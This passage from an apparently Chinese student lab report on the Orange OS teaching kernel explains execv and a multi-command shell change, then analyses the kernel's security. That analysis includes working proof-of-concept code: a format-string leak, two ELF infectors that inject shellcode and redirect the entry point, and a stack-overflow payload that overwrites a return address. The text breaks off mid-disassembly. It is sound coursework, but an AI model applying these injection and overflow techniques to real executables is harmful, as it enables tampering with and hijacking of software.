(u8\*)(PROC\_IMAGE\_SIZE\_DEFAULT - PROC\_ORIGIN\_STACK); 55. **int** delta = (**int**)orig\_stack - (**int**)mm\_msg.BUF; 57. **int** argc = 0; 58. if (orig\_stack\_len) {   /\* has args \*/ 59. **char** \*\*q = (**char**\*\*)stackcopy; 60. **for** (; \*q != 0; q++,argc++) 61. \*q += delta; 62. } 64. phys\_copy((void\*)va2la(src, orig\_stack), 65. (void\*)va2la(TASK\_MM, stackcopy), 66. orig\_stack\_len); 68. proc\_table[src].regs.ecx = argc; /\* argc \*/ 69. proc\_table[src].regs.eax = (u32)orig\_stack; /\* argv \*/ 71. /\* setup eip & esp \*/ 72. proc\_table[src].regs.eip = elf\_hdr->e\_entry; /\* @see \_start.asm \*/ 73. proc\_table[src].regs.esp = PROC\_IMAGE\_SIZE\_DEFAULT - PROC\_ORIGIN\_STACK; 75. strcpy(proc\_table[src].**name**, pathname); 77. **return** 0; 78. }   • execv()  execv接收两个参数：要执行的文件路径和一个字符串数组，其中包含传递给新程序的参数。在您的代码中，execv 通过以下步骤实现：  1.复制参数到一个栈 (arg\_stack):  （1）argv中的每个字符串都被复制到一个临时的栈arg\_stack中。  （2）每个字符串的指针（在arg\_stack中的位置）也被存储在arg\_stack中。  2.构造MESSAGE结构:  （1）这个结构用于与内存管理模块（MM）进行通信，告知它要执行新的程序。  （2）消息包含了程序路径、路径长度、参数栈的地址和参数栈的长度。  3.发送消息给MM:  （1）通过send\_recv调用，将消息发送给MM任务。  （2）assert确保调用成功。  • do\_exec()  它处理从execv发来的执行请求。步骤如下：  1.获取并验证程序路径:  从消息中复制程序路径，并检查路径的合法性。  2.获取程序文件的大小并读取内容:  （1）使用 stat 系统调用获取文件大小。  （2）读取文件内容到mmbuf，这是一个临时缓冲区。  3.解析 ELF 格式的可执行文件:  （1）ELF (Executable and Linkable Format) 是一种常见的二进制文件格式。  （2）解析ELF头部，加载程序段到目标进程的地址空间。  4.设置参数栈:  将参数从execv发送的消息中复制到目标进程的栈空间。  5.设置新的指令指针 (eip) 和栈指针 (esp):  这些寄存器被设置为新程序的入口点和新栈的顶部。  6.更改进程名:  进程表中的名称被更新为新程序的路径。  总之，execv函数负责准备执行新程序所需的所有信息，并将其发送给内存管理模块。MM任务接收这些信息，加载新程序到内存，并更新进程表以反映这些更改。  需要注意的是，execv将arg\_stack[]的首地址以及其中有效内容的长度等通过消息发送给了MM。 3.2.4 修改shell支持多任务执行 了解了上述基础知识后，我们就可以开始修改shell以实现支持多任务运行，我们采取的方法是令父进程fork出多个子进程，然后子进程去执行那些命令。  我们首先定义两个变量MAX\_SHELL\_PROC和MAX\_SHELL\_PROC\_STACK，分别表示同时可执行的最多指令条数和一次输入的最大长度。   1. #define MAX\_SHELL\_PROC 5 //最多指令条数 echo pwd ls cat cp touch rm 2. #define MAX\_SHELL\_PROC\_STACK 128 //一次输入的最大长度   shabby\_shell函数代码的前半部分不做修改，和源码是一样的，我们用0标志一条命令的结束。我们用&指令分割不同命令后，argv数组的内容可能是这样的：   1. argv = {test, &, ls, &, echo, dp'os, dp.txt, &, ls, &, cat, dp.txt}   利用 multi\_argv 保存二维字符串数组，对命令进行处理后，它的内容可能是这样的：   1. multi\_argv = {{test, 0}, 2. {ls, 0}, 3. {echo, dp'os, dp.txt, 0}, 4. {ls, 0}, 5. {cat, dp.txt, 0} 6. }   定义int类型变量num\_proc表示有多少个命令，sec\_count的作用与上面argc的作用类似。定义字符串数组multi\_argv。error标记命令是否出错，初始值赋为0。   1. **char**\* multi\_argv[MAX\_SHELL\_PROC][MAX\_SHELL\_PROC\_STACK];  //multi\_argv保存二维字符串数组 2. **int** num\_proc = 1; // 表示有多少个命令 3. **int** sec\_count = 0; // 和上面argc的作用类似 4. **int** error = 0; // 标记命令是否出错   接着使用for循环顺序扫描argv数组。如果argv[i]处遇到的不是&，则把字符串放入multi\_argv[num\_proc - 1][sec\_count++]，否则，用0标记该命令结束，并将表示任务数量的变量num\_proc加一，最后将sec\_count重新置为0。  如果任务数量大于定义中的最大任务数MAX\_SHELL\_PROC，我们将error置为1。   1. **int** i; 2. **for** (i = 0; i < argc; i++) 3. { 4. if (strcmp(argv[i],"&")) 5. { 6. multi\_argv[num\_proc - 1][sec\_count++] = argv[i]; 7. } **else** { 8. multi\_argv[num\_proc - 1][sec\_count] = 0; 9. num\_proc++; 10. sec\_count = 0; 11. if (num\_proc > MAX\_SHELL\_PROC) 12. { 13. error = 1; 14. printf("Too many commands!\n"); 15. } 16. } 17. }   下面的代码只有在error为0，即没有错误时才会执行，出错则直接跳过。父进程fork出子进程后，父子进程均还在循环中，所以进行判断：如果当前进程是父进程，则执行wait()，是子进程，则调用execv执行。   1. if (!error) 2. { 3. **for** (i = 0; i < num\_proc; i++) 4. { 5. **int** fd = **open**(multi\_argv[i][0], O\_RDWR); 6. if (fd == -1) { 7. if (rdbuf[0]) { 8. write(1, "{", 1); 9. write(1, rdbuf, r); 10. write(1, "}\n", 2); 11. } 12. } 13. **else** { 14. **close**(fd); 15. **int** pid = fork(); 16. if (pid != 0) { /\* parent \*/ 17. **int** s; 18. wait(&s); 19. } 20. **else** {  /\* child \*/ 21. execv(multi\_argv[i][0], multi\_argv[i]); 22. } 23. } 24. } 25. }   至此对shell的一个最基本的改造就完成了。我们首先将这段新修改的代码放入kernel/main.c中，并编译连接，查看一下执行效果。  我们用之前在任务二中实现的算法指令进行测试，结果如下图。可以看到，改  造后的shell已经可以实现多任务的执行了。   3.3本部分小结 在本部分实验中，我们实现了对shell的改造，使它可以在同一个shell中支持多任务并行。我们首先对同时可执行的指令条数和一次输入的最大长度进行限制，然后修改源码中的shabby\_shell函数，用"&"符号分割不同的指令，并定义multi\_argv保存二维字符串数组。在for循环中顺序扫描argv数组对输入的指令字符串进行处理，然后父进程fork出所有的子进程以实现多任务的执行。 四、任务五：自我OS安全分析4.1问题介绍及解决方案摘要4.1.1问题介绍 本任务是第五个任务，主要目标是分析当前OS的弱点和漏洞，并实现自我OS安全分析。具体要求如下：  • 分析提示：可执行文件的篡改、内存破坏漏洞、权限绕过等  • POC实现：  ① 编写一个C程序，该程序查找OS中的可执行文件，对可执行文件添加额外的代码。  ② 编写一个程序，可对存在内存破坏漏洞的代码进行缓冲区溢出，控制返回地址到指定的位置 4.1.2解决方案摘要 根据实验任务的提示，可以发现Orange OS至少存在的以下3个安全问题：  • 格式化字符串漏洞：printf函数没有检查参数个数，仅仅是将第一个参数的地址arg和格式化字符串fmt传给了vsprintf。故我们可以构造自定义的字符串，让Orange OS泄露栈中数据。  • 可执行文件的破坏：Orange OS本身并没有添加对可执行文件的校验功能。我们可以在原来的可执行文件中寻找一块全0的位置注入恶意代码并保存原来的入口地址，恶意代码执行完成后再返回原入口地址执行原功能。  • 栈溢出漏洞：Orange OS的strcpy函数并没有对拷贝的字符串边界进行检查，仅仅是逐字节拷贝，遇到’\0’ 就结束。故我们可以根据栈的大小构造合适的payload对缓冲区进行溢出，控制返回地址到指定的位置。 4.2具体思路及其实现4.2.1格式化字符串漏洞 **漏洞定义**：  格式化字符串漏洞是一种安全漏洞，它出现在开发者没有正确地处理输入数据，特别是在使用格式化字符串函数（如C语言中的printf）时。这种漏洞可以被攻击者利用来执行任意代码、泄露内存信息或造成程序崩溃。  在C语言中，格式化字符串函数（如printf）用于创建格式化的输出，这些函数按照提供的格式字符串来处理和转换参数。  **漏洞产生的原因**：  • 用户输入作为格式字符串：如果程序将用户输入直接用作格式字符串，那么用户可以通过特定输入控制格式字符串的行为。  • 不恰当的验证：如果没有对输入进行适当的验证和转义，格式化字符串函数可能执行用户定义的操作。  **攻击原理**：  格式化字符串攻击主要利用格式化函数的两个特性：  • 格式指示符：如%s、%d等，用于从堆栈中读取数据。  • 地址访问：特定的格式指示符（如%n）可以用于写入内存。  攻击者可以通过构造特殊的输入来：  • 读取堆栈数据：通过%s等读取敏感信息，如密码、密钥等。  • 写入任意内存地址：使用%n修改程序中的值，甚至诸如恶意代码。  • 程序崩溃：通过异常格式字符串导致程序异常退出。  一般情况下，我们在C语言中调用printf这种格式化打印函数的方法都是printf(“%d%s”,...,...)。但如果我们使用printf(str)这样的形式，其中str是用户自己构建的字符串。当这个字符串是一个普通的字符串是，效果与前面的相同；但如果是“%s%d”这种形式，因为后面没给对应的参数，就会从栈中取出数据，从而泄露栈中的内容。这就是所谓的存在格式化字符串漏洞。  通过格式化字符串漏洞基本可以实现任意位置内存读写，读栈内数据使用的是%x、%p，若使用%s则能够读取栈内数据对应的内存的数据；写栈内数据使用的是%n，但由于Orange OS中未实现格式化字符串的%n的解析，所以不会出现像任意内存写的后果。  **漏洞带来的问题**：  内存中的数据泄露，访问到不可访问内存地址出现访问错误导致操作系统卡死等。  **具体分析**：  接下来，分析Orange OS中格式化字符串漏洞产生的具体原因。  在lib/printf.c中，可以看到printf函数的源代码：  printf   1. **PUBLIC** **int** printf(const **char** \*fmt, ...) 2. { 3. **int** i; 4. **char** buf[STR\_DEFAULT\_LEN]; 6. va\_list arg = (va\_list)((**char**\*)(&fmt) + 4);        /\* 4 是参数 fmt 所占堆栈中的大小 \*/ 7. i = vsprintf(buf, fmt, arg); 8. **int** c = write(1, buf, i); 10. assert(c == i); 12. **return** i; 13. }   分析这个printf函数，我们可以发现这其中存在以下漏洞：  （1）直接使用用户输入作为格式字符串（格式化字符串漏洞）  可以看到在printf中并没有传入后续参数的个数, 而是直接将第一个参数的地址arg和格式化字符串fmt传给了vsprintf, vsprintf函数的作用是解析格式化字符串fmt, 若是读到格式化字符, 则使用参数的值将其替换, 所以若实际上并没有与格式化字符串中的格式化字符数量相匹配的参数, 则会泄露栈中的数据。   1. 缓冲区溢出风险   buf的大小是STR\_DEFAULT\_LEN，这个大小是固定的。如果格式化后的字符串超过这个长度，将会导致缓冲区溢出。   1. 未对输出长度进行限制   使用vsprintf而不是vsnprintf，这个实现没有对写入buf的字符数量设置上限。这增加了缓冲区溢出的风险，因为格式化的输出可能会超过buf的容量。  下面仅对格式化字符串漏洞进行验证，因为在include/stdio.h中可以看到对STR\_DEFAULT\_LEN的大小定义是1024，要验证缓冲区溢出漏洞有点困难，但确实存在这个风险。  **验证漏洞**：  像之前分析的一样，printf（str）中如果str是%d、%s等格式化字符会造成数据泄露等问题，下面在command中新建文件test1.c编写代码来验证：   1. #include "stdio.h" 3. **int** main(**int** argc, **char**\* argv[]) 4. { 5. printf(argv[1]); 6. printf("\n"); 7. **return** 0; 8. }   然后在Makefile中   1. BIN     = echo test touch rm ls cat cp test1 2. test1.o: test1.c ../include/type.h ../include/stdio.h 3. $(CC) $(CFLAGS) -o $@ $< 5. test1 : test1.o start.o $(LIB) 6. $(LD) $(LDFLAGS) -o $@ $?   最后make image，cd command，make，make install，cd..，make image，bochs编译运行得到下图：    发现确实出现了内存泄露。 4.2.2可执行文件的破坏（法一） **漏洞定义**：  可执行文件的破坏通常指的是对可执行程序文件（如.exe文件在Windows系统中，或者Linux/Unix系统中的可执行脚本或二进制文件）的恶意修改。这种修改旨在改变程序的正常行为或使其执行恶意代码。  **漏洞产生的原因**：  可执行文件包含了程序运行所需的指令和数据。如果攻击者能够修改这些文件，他们就可能插入恶意代码或破坏文件的正常功能。  **攻击原理**：  可执行文件的破坏可以以多种方式发生：  • 恶意代码注入：攻击者向可执行文件中插入恶意代码。当文件被执行时，这段恶意代码也会被执行。  • 代码替换：攻击者替换或修改文件中的一部分，以改变其行为。  • 文件损坏：攻击者可能会算坏文件，使其无法执行或导致错误的行为。  攻击者可能通过多种途径破坏可执行文件：  • 直接访问：如果攻击者能够直接访问系统上的文件，他们可以直接修改这些文件。  • 远程利用：通过网络攻击（如病毒、蠕虫、特洛伊木马）来修改远程系统上的可执行文件。  • 通过其他漏洞：利用其他安全漏洞（如缓冲区溢出、格式化字符串漏洞等）来获取文件修改的权限。  **具体分析**：  使用010Editor分析command中的可执行文件，发现文件一开始都是“.ELF”，故可以将其作为elf文件的标志。                  然后，在010Editor下载ELF模板并运行。可以发现，第一节的偏移量、大小都为0，不包含任何数据，它的存在主要是作为列表的起始点。第二节是代码节，都是从0x00001000开始的，并且在这之前有一大块的0：        因此，我们的注入的原理是：  读取elf文件后，保存原来的入口地址，然后在.text节前面找到一个全为0的区域（大小为恶意代码的长度inject\_size），然后在这个区域注入恶意代码，最后，修改.text节的节头和第一个program header。  首先，在command中创建一个shellcode.asm文件，在里面构造恶意代码，它的功能是打印一个字符串“Surpise! DP has injected it!\n”：   1. [section .text] 3. global \_start 5. \_start: 6. pushad 7. jmp get\_msg\_addr 9. main: 10. pop edx 11. xor eax, eax 12. **int** 0x90 13. popad 14. mov ebx, 0x02181152 ; 随便写的入口地址（这是我学号后八位），在inject时会把原本的入口地址覆盖掉 15. jmp ebx 17. get\_msg\_addr: 18. call masmain 20. msg: 21. db "Surpise! DP has injected it!", 0xA, 0x0 ;换行符 空字符   然后依次使用如下指令得到机器码：   1. nasm -f elf32 inject.asm -o inject.o 2. ld -s inject.o -o inject 3. objdump -d inject     然后在test2.c中将显示的所有机器码写成一个inject\_code数组：   1. unsigned **char** inject\_code[] = { 2. 0x60, 0xeb, 0x0d, 0x5a, 0x31, 0xc0, 0xcd, 0x90, 0x61, 0xbb, 3. 0x00, 0x00, 0x00, 0x00, 0xff, 0xe3, 0xe8, 0xee, 0xff, 0xff, 4. 0xff, 0x53, 0x75, 0x72, 0x70, 0x69, 0x73, 0x65, 0x21, 0x20, 5. 0x44, 0x50, 0x20, 0x68, 0x61, 0x73, 0x20, 0x69, 0x6e, 0x6a, 6. 0x65, 0x63, 0x74, 0x65, 0x64, 0x20, 0x69, 0x74, 0x21, 0x0a, 7. 0x00 8. }; 9. unsigned **int** inject\_size = **sizeof**(inject\_code); 10. # define ADDR 10    // 在inject\_code代码中的偏移为10的地方保存原来的入口地址，此处预先填0   其中，偏移为ADDR(10)的位置为0x00, 0x00, 0x00, 0x00，这就是图6的0x02181152的位置，在注入过程中会将原入口地址填入到该偏移处。  接下来继续编写注入代码。具体思路就是首先得到文件名并读入文件之后，根据“.elf”判断它是否为elf文件，如果是的话，就首先保存原来的入口地址，然后判断代码节的前面是否有inject\_size大小的全0区域，如果有的话就填入shellcode并修改代码节头和程序节头的大小和偏移，否则就报错：   1. // 判断是否为elf文件 2. **int** is\_elf(Elf32\_Ehdr elf\_ehdr) { 3. // ELF文件头部的 e\_ident 为 "0x7fELF" 4. **if** (elf\_ehdr.e\_ident[0] == 0x7f || elf\_ehdr.e\_ident[1] == 0x45 || 5. elf\_ehdr.e\_ident[2] == 0x4c || elf\_ehdr.e\_ident[3] == 0x46) { 6. **return** 1; 7. } 8. **return** 0; 9. } 10. // unsigned int类型转换为直接在汇编指令中可用的数据的函数cal\_addr 11. // e.g. 41424344 -> [44, 43, 42, 41] 12. **void** cal\_addr(Elf32\_Addr entry, **int** addr[]) { 13. **int** temp = entry; 14. **int** i; 15. **for** (i = 0; i < 4; i++) { 16. addr[i] = temp % 256;  // 256 == 8byte 17. temp /= 256; 18. } 19. } 20. # define BUF\_SIZE 100 21. // 注入 22. **int** inject(**char**\* elf\_file) { 23. Elf32\_Ehdr elf\_ehdr;  // elf head 24. Elf32\_Phdr elf\_phdr;  // elf program head 25. Elf32\_Shdr elf\_shdr;  // elf section head 27. **int** fd = open(elf\_file, O\_RDWR); 28. read(fd, &elf\_ehdr, **sizeof**(Elf32\_Ehdr)); 29. **if**(is\_elf(elf\_ehdr))    // 判断是否为elf文件 30. printf("%s is a ELF , start to inject...\n", elf\_file); 31. **else** { 32. printf("%s is not a ELF!\n", elf\_file); 33. **return** 0; 34. } 36. // 保存原来的入口地址以便后续返回 37. Elf32\_Addr old\_entry = elf\_ehdr.e\_entry; 38. **int** old\_entry\_addr[4]; 39. cal\_addr(old\_entry, old\_entry\_addr); 40. printf("old\_entry: 0x%x\n", old\_entry); 42. // 寻找注入点 43. lseek(fd, elf\_ehdr.e\_shoff + elf\_ehdr.e\_shentsize, SEEK\_SET); 44. read(fd, &elf\_shdr, **sizeof**(elf\_shdr));  // 代码节的节头 45. printf("elf\_shdr.sh\_offset == %d", elf\_shdr.sh\_offset); 46. **int** off = elf\_shdr.sh\_offset - inject\_size; 47. lseek(fd, off, SEEK\_SET); 48. **char** buf[BUF\_SIZE]; 49. **int** flag = 0;    // 是否找到注入点 50. **if**(read(fd, &buf, BUF\_SIZE)) { 51. **int** i = 0; 52. **while**(buf[i] == 0) 53. i++; 54. **if**(i >= inject\_size) 55. flag = 1; 56. } 58. **if**(flag) { 59. printf("Inject code offset: 0x%x\n", off); 61. // 填入原来的入口地址 62. inject\_code[ADDR] = old\_entry\_addr[0]; 63. inject\_code[ADDR + 1] = old\_entry\_addr[1]; 64. inject\_code[ADDR + 2] = old\_entry\_addr[2]; 65. inject\_code[ADDR + 3] = old\_entry\_addr[3]; 67. // 注入恶意代码 68. lseek(fd, off, SEEK\_SET); 69. write(fd, &inject\_code, inject\_size); 71. // 修改代码节的节头 72. elf\_shdr.sh\_offset -= inject\_size; 73. elf\_shdr.sh\_size += inject\_size; 74. elf\_shdr.sh\_addralign = 0; 75. elf\_shdr.sh\_addr = off; 76. lseek(fd, elf\_ehdr.e\_shoff + elf\_ehdr.e\_shentsize, SEEK\_SET); 77. write(fd, &elf\_shdr, **sizeof**(elf\_shdr)); 79. // 修改程序的入口点 80. elf\_ehdr.e\_entry = off; 81. lseek(fd, elf\_ehdr.e\_phoff, SEEK\_SET); 82. read(fd, &elf\_phdr, **sizeof**(elf\_phdr)); 83. elf\_phdr.p\_filesz += inject\_size; 84. elf\_phdr.p\_memsz += inject\_size; 85. elf\_phdr.p\_vaddr = off; 86. elf\_phdr.p\_offset = off; 87. elf\_phdr.p\_align = 0; 88. printf("Modify entry address to 0x%x\n", elf\_ehdr.e\_entry); 89. lseek(fd, 0, SEEK\_SET); 90. write(fd, &elf\_ehdr, **sizeof**(elf\_ehdr)); 91. lseek(fd, elf\_ehdr.e\_phoff, SEEK\_SET); 92. write(fd, &elf\_phdr, **sizeof**(elf\_phdr)); 94. close(fd); 95. printf("Finish!\n"); 96. **return** 1; 97. } 98. **else** { 99. printf("No enough space for inject!\n"); 100. **return** 0; 101. } 102. } 103. // 主函数 104. **int** main(**int** argc, **char**\*\* argv) { 105. **if** (argc != 2) { 106. printf("Please input inject <elf\_filepath>!\n"); 107. exit(0); 108. } 109. **if**(inject(argv[1])) { 110. printf("Inject success!\n"); 111. } 112. **else** 113. printf("Inject fail!\n"); 114. **return** 0; 115. }   编译运行，得到下图结果：    其实这存在一些问题，因为我单独写这个的时候没有报错，但是当我与别的结合在一起后，我发现根本就注入不了了，也不知道为啥。还会报下面的错：    所以我又用另一个比较硬核的方法去研究。 4.2.3可执行文件的破坏（法二） 虽然，最后还是没有成功解决上面那不能放一起的问题（发现test2不能与test1还有test3共存，就很怪），但确实也是另一种思路。  与法一有一个很大的不同之处，那就是我没有调用elf库。  还是惯例的写一个判断是否为elf文件的函数，具体分析见法一：   1. **int** is\_ELF(**char** \*filename){ 2. printf("open file!@!\n"); 3. **int** fd = open(filename, O\_RDWR); 4. printf("fd == %d\n", fd); 5. **if**(fd == -1){ 6. printf("no such file: %s\n", filename); 7. **return** 0; 8. } 9. **char** head[4]; 10. read(fd, head, 0x4); 11. close(fd); 12. **return** memcmp(head, "\x7f\x45\x4c\x46", 4) == 0; 14. }   这个方法比较硬核，那就是计算出编译后cat指令的地址，并计算出偏移地址来注入攻击。  然后是inject函数并调用，思路详见代码注释，这里就不赘述了。   1. **void** inject(filename){ 3. **char** shellcode[0x100]; 4. **int** i; 5. **for**(i = 0; i < **sizeof**(shellcode); i++) shellcode[i] = 0x90; //nop 6. **int** fd = open(filename, O\_RDWR); 7. **if**(fd < 0) **return** printf("open error!\n"); 8. **char** buffer[0x3000]; 9. read(fd, buffer, 0x3000); 11. //保存程序原先的入口地址 12. **int** start; 13. memcpy(&start, buffer+24, 4); 14. printf("start\_addr at : %d\n", start); 16. //寻找代码段 17. **int** s\_off; 18. memcpy(&s\_off, buffer+32, 4); 19. //每个段描述符的长度是40个字节 20. //text一般是第二个段 21. printf("seg\_off in file: %d\n", s\_off); 22. **int** seg\_text = buffer + s\_off + 40; 23. **int** sh\_addr, seg\_offset, seg\_size; 24. memcpy(&sh\_addr, seg\_text+12, 4); //段映射的虚拟地址 25. memcpy(&seg\_offset, seg\_text+16, 4);//段在文件中的偏移 26. memcpy(&seg\_size, seg\_text+20, 4);//段的长度 27. printf("seg\_offset == %d\nseg\_size == %d\n", seg\_offset, seg\_size); 28. **int** code\_start = start - sh\_addr + seg\_offset;//代码在文件中的起始地址 29. printf("code\_start == %d\n", code\_start); 30. **for**(i = 0; i < **sizeof**(shellcode); i++){ 31. **if**(\*(buffer + seg\_offset - i -1) != 0) **break**; 32. } 33. **if**(i != **sizeof**(shellcode)) **return** printf("cannot inject!\n"); 34. printf("inject is ok!\n"); 35. memcpy(buffer+seg\_offset-**sizeof**(shellcode), shellcode, **sizeof**(shellcode)); 36. //printf("shllcode: %s\n", shellcode); 37. //write(1, buffer+seg\_offset-sizeof(shellcode), 0x100); 38. printf("inject offset == %d\n", seg\_offset-**sizeof**(shellcode)); 40. //new\_seg\_start 就是新代码段在文件中的偏移，也是新的程序入口点 41. **int** new\_seg\_start = 0x0f00;//seg\_offset - sizeof(shellcode); 43. //改写text段表 44. seg\_offset -= **sizeof**(shellcode); 45. seg\_size += **sizeof**(shellcode); 46. sh\_addr = seg\_offset - **sizeof**(shellcode); 47. memcpy(seg\_text+12, &sh\_addr, 4); 48. memcpy(seg\_text+16, &seg\_offset, 4); 49. memcpy(seg\_text+20, &seg\_size, 4); 51. //修改程序入口地址 52. //  printf("@@@@@@@@@@@  %d\n", \*(buffer+20)); 53. printf("@@@@@@@@@@@  %d\n", \*(**int** \*)(buffer+24)); 54. //  printf("@@@@@@@@@@@  %d\n", \*(buffer+28)); 55. //  printf("@@@@@@@@@@@  %d\n", \*(buffer+32)); 56. memcpy(buffer+24, &new\_seg\_start, 4); 57. //  printf("@@@@@@@@@@@  %d\n", \*(buffer+24)); 58. printf("@@@@@@@@@@@  %d\n", \*(**int** \*)(buffer+24)); 59. printf("new\_seg\_start == %d\n", new\_seg\_start); 61. close(fd); 62. fd = open(filename, O\_RDWR); 63. **int** len = write(fd, buffer, **sizeof**(buffer)); 64. printf("inject length == %d\n", len); 65. close(fd); 67. **char** test[0x1000]; 68. **int** fd2 = open("cat", O\_RDWR); 69. read(fd2, test, 0x1000); 70. printf("%d\n", \*(**int** \*)(test+24)); 71. printf("%s\n", test+0xf00); 72. close(fd2); 73. } 75. **int** main(){ 76. inject("cat"); 77. }   编译执行后得到下图    原本cat指令执行正常，test2攻击后，cat指令输出自己的错误信息（原来就有的，不应该输出，但攻击后输出了），故实验成功。  但可惜的是，依旧没有解决test2与test1、test3不兼容的问题。   4.2.3缓冲区溢出漏洞——栈溢出漏洞 **漏洞定义**：  缓冲区溢出漏洞是一种常见的安全漏洞，发生在程序向一个缓冲区写入更多数据时，超出了为该缓冲区分配的内存大小。这种溢出可能会覆盖相邻内存区域的内容，导致数据损坏、系统崩溃或安全漏洞。缓冲区溢出有栈溢出、堆溢出、BBS 溢出等多种类型，而我这次仅研究了栈溢出一种。  栈溢出漏洞发生在程序在处理数据时，写入的数据量超过了分配给栈上变量的内存空间。这种漏洞通常出现在使用不安全的字符串操作函数（如strcpy, strcat,sprintf等）时，因为这些函数不会自动检查目标缓冲区的大小，从而可能导致缓冲区溢出。  **漏洞产生的原因**：  栈是一个后进先出的数据结构，用于存储局部变量、函数参数、返回地址等。在函数调用时，会为其局部变量和一些控制信息分配一段连续的内存区域，这段区域被称为栈帧。栈帧的大小在编译时通常是已知的，但如果程序运行时写入了超过这个大小的数据，就会造成栈溢出。  **攻击原理**：  • 溢出发生：当过多的数据被写入栈上的缓冲区（如数组）时，超出的数据会覆盖相邻的栈帧内容。这种情况常见于使用不安全的字符串函数（如strcpy、gets等）。  • 覆盖返回地址：攻击者精心构造输入数据，使得栈上的返回地址被覆盖。这允许攻击者控制程序接下来执行的位置。  • 执行攻击者的代码：攻击者通常在输入数据中嵌入一段恶意代码（称为shellcode），并将返回地址修改为这段代码的起始地址。当函数尝试返回时，程序的执行流被重定向到这段恶意代码。  • 绕过安全措施：现代操作系统和编译器实施了多种安全措施（如堆栈保护、地址空间布局随机化ASLR等）来防止栈溢出攻击。然而，有经验的攻击者可能使用更复杂的技术（如栈喷射、ROP链等）来绕过这些保护机制。  **具体分析**：  我选择在代码文件中的一个函数中调用一个不安全函数，然后溢出这个函数。  溢出自定义不安全函数的基本假设是：我们可以自定义一个大小有限的缓冲区，然后采取方案将其溢出。可以采用直接向函数传一个占空间超过预定义buf的巨大参数，也可以选择用strcpy()、gets()等不做长度检查的不安全函数来达到攻击的效果。  检查Oranges操作系统中strcpy函数的实现：   1. strcpy: 2. push    ebp 3. mov     ebp, esp 5. mov     esi, [ebp + 12] ; Source 6. mov     edi, [ebp + 8]  ; Destination 8. .1: 9. mov     al, [esi]               ; ┓ 10. inc     esi                     ; ┃ 11. ; ┣ 逐字节移动 12. mov     byte [edi], al          ; ┃ 13. inc     edi                     ; ┛ 15. cmp     al, 0           ; 是否遇到 '\0' 16. jnz     .1              ; 没遇到就继续循环，遇到就结束 18. mov     eax, [ebp + 8]  ; 返回值 20. pop     ebp 21. ret                     ; 函数结束，返回   可以发现，这个函数的实现存在安全隐患，因为它不会检查目标缓冲区的大小，直接将源字符串拷贝到目标字符串中，直到遇到\0字符。如果源字符串的长度超过了目标缓冲区的大小，这将导致栈溢出。  所以，这里我们采取的是第二种方式，通过攻击不安全函数来溢出返回地址。我们编写test3.c的代码如下：   1. #include "stdio.h" 2. #include "string.h" 4. unsigned **char** payload[] = { 5. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 6. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 7. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 8. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 9. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 10. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 11. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 12. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 13. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 14. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 15. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 16. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 17. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 18. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 19. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 20. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 21. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 22. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 23. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 24. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 25. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 26. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 27. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 28. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 29. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 30. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 31. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 32. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 33. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 34. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 35. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 36. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 37. 0x20,0x21,0x30,0x21,0x81,0x15,0x20,0x66, 38. 0x20,0x21,0x30,0x21,0x21,0x10,0x00,0x00 39. };  42. **void** bufferoverflow(**char** \*str) 43. { 44. unsigned **char** buf[256]; 45. strcpy(buf, payload); 46. } 48. **void** shellcode() 49. { 50. printf("Hello, DP. Bufferoverflow!\n"); 51. } 53. **int** main(**int** argc, **char** \*argv[]) 54. { 55. bufferoverflow(payload); 56. printf("111"); 57. }   test3.c只有三个函数，调用关系也十分简单，仅仅是main函数调用bufferoverflow函数.值得注意的是，shellcode函数实际上并没有被调用。payload的最后四个字节为0x21,0x10,0x00,0x00，这是shellcode函数的入口地址。得到该入口地址的方法为使用make install 编译出可执行文件之后，使用objdump -d buffer\_attack > dump.txt进行反汇编，下面是得到的反汇编文件（仅截取我用到的部分）：   1. test3:     file format elf32-i386  4. Disassembly of section .text: 6. 00001000 <bufferoverflow>: 7. 1000:   55                      push   %ebp 8. 1001:   89 e5                   mov    %esp,%ebp 9. 1003:   81 ec 18 01 00 00       sub    $0x118,%esp 10. 1009:   c7 44 24 04 60 2b 00    movl   $0x2b60,0x4(%esp) 11. 1010:   00 12. 1011:   8d 85 f8 fe ff ff       lea    -0x108(%ebp),%eax  // buf地址108 13. 1017:   89 04 24                mov    %eax,(%esp)  //strcpy函数 14. 101a:   e8 7b 04 00 00          call   149a <strcpy> 15. 101f:   c9                      leave    //mov sp,bp. pop bp 16. 1020:   c3                      ret 18. 00001021 <shellcode>: 19. 1021:   55                      push   %ebp 20. 1022:   89 e5                   mov    %esp,%ebp 21. 1024:   83 ec 18                sub    $0x18,%esp 22. 1027:   c7 04 24 28 18 